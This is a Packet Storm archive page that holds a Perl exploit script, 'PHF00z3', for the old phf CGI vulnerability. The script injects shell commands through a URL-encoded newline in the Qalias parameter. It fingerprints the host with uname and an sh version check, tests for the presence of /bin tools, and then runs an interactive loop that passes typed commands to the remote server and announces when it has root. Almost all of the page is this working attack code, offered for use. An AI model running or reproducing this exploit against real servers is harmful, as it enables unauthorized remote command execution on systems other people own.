exploit the possibilities
Home Files News &[SERVICES_TAB]About Contact Add New

New Twist On The Old PHF Vulnerability

New Twist On The Old PHF Vulnerability
Posted Dec 30, 2008
Authored by Oxagast

New script that exploits the very, very, very old phf vulnerability.

tags | exploit
SHA-256 | 019371e115ef1e5f7c22f50f06a0b178a7b66d03de1c24b4361814c83f8f415f

New Twist On The Old PHF Vulnerability

Change Mirror Download
#!/usr/bin/perl

# greets to josh arielle matt carley

use WWW::Mechanize;
if (scalar(@ARGV) < 1) {
print "\n --=== PHF00z3 by Oxagast ===--\n\n";
print " useage: ./$0 hostname\n\n";
print " Play Nice :)\n";
exit();
}
$scrape = WWW::Mechanize->new(timeout => 3);
print "Connecting...\n";
print "Checking if exploitable...\n";
$scrape->get("http://@ARGV[0]/cgi-bin/phf?Qalias=%0Auname%20-a");
$unamea = $scrape->content();
@unameafeed = split(/\n/, $unamea);
for $stupidpres (0..scalar(@unameafeed)) {
if (@unameafeed[$stupidpres] =~ m/<PRE>/) {
$realunamea = @unameafeed[$stupidpres+1];
}
}
$scrape->get("http://@ARGV[0]/cgi-bin/phf?Qalias=%0Ash%20--version");
$shver = $scrape->content();
@shverfeed = split(/\n/, $shver);
for $stupidpres (0..scalar(@shverfeed)) {
if (@shverfeed[$stupidpres] =~ m/<PRE>/) {
@shverfeed[$stupidpres+1] =~ m/version (\d+\.\d)/;
if ($1 ne "") {
$realshver = "sh-$1";
}
}
}
$scrape->get("http://@ARGV[0]/cgi-bin/phf?Qalias=%0Als%20%20/bin");
$scraped = $scrape->content();
if($scraped =~ /chmod/m) {
if($scraped =~ /mkdir/m) {
if($scraped =~ /stty/m) {
$startup = 1;
$rootus = 0;
while (0 < 1) {
if ($startup == 1) {
$cmd = "id";

}
if ($startup == 0) {
if ($rootus == 0) {
print "$realshver\$ ";
}
if ($rootus == 1) {
print "$realshver\# ";
}
$cmd = <STDIN>;
}
$scrape->get("http:\/\/@ARGV[0]/cgi-bin/phf?Qalias=%0A$cmd");
$scraped = $scrape->content();
@feedback = split(/\n/, $scraped);
for $line (0..scalar(@feedback)) {
if (@feedback[$line] eq "<PRE>") {
$outs = $line + 1;
}
}
for $outline ($outs..scalar(@feedback)-2) {
if ($startup == 1) {
if (@feedback[$outline] =~ /\(root\)/) {
print "OOooooo now look what we have here... :P r00t\n";
print "$realunamea\n";
$rootus = 1;
}
else {
print "We got ourselves a shell... :)\n";
print "$realunamea\n";
}
}
print "@feedback[$outline]\n";
$startup = 0;
}
}
}
}
}

else {
print "OOps, doesn't look like she's vulnerable. :(\n";
}
Login or Register to add favorites

File Archive:

March 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Mar 1st
    16 Files
  • 2
    Mar 2nd
    0 Files
  • 3
    Mar 3rd
    0 Files
  • 4
    Mar 4th
    32 Files
  • 5
    Mar 5th
    28 Files
  • 6
    Mar 6th
    42 Files
  • 7
    Mar 7th
    17 Files
  • 8
    Mar 8th
    13 Files
  • 9
    Mar 9th
    0 Files
  • 10
    Mar 10th
    0 Files
  • 11
    Mar 11th
    15 Files
  • 12
    Mar 12th
    19 Files
  • 13
    Mar 13th
    21 Files
  • 14
    Mar 14th
    38 Files
  • 15
    Mar 15th
    15 Files
  • 16
    Mar 16th
    0 Files
  • 17
    Mar 17th
    0 Files
  • 18
    Mar 18th
    10 Files
  • 19
    Mar 19th
    32 Files
  • 20
    Mar 20th
    46 Files
  • 21
    Mar 21st
    16 Files
  • 22
    Mar 22nd
    13 Files
  • 23
    Mar 23rd
    0 Files
  • 24
    Mar 24th
    0 Files
  • 25
    Mar 25th
    12 Files
  • 26
    Mar 26th
    31 Files
  • 27
    Mar 27th
    19 Files
  • 28
    Mar 28th
    0 Files
  • 29
    Mar 29th
    0 Files
  • 30
    Mar 30th
    0 Files
  • 31
    Mar 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close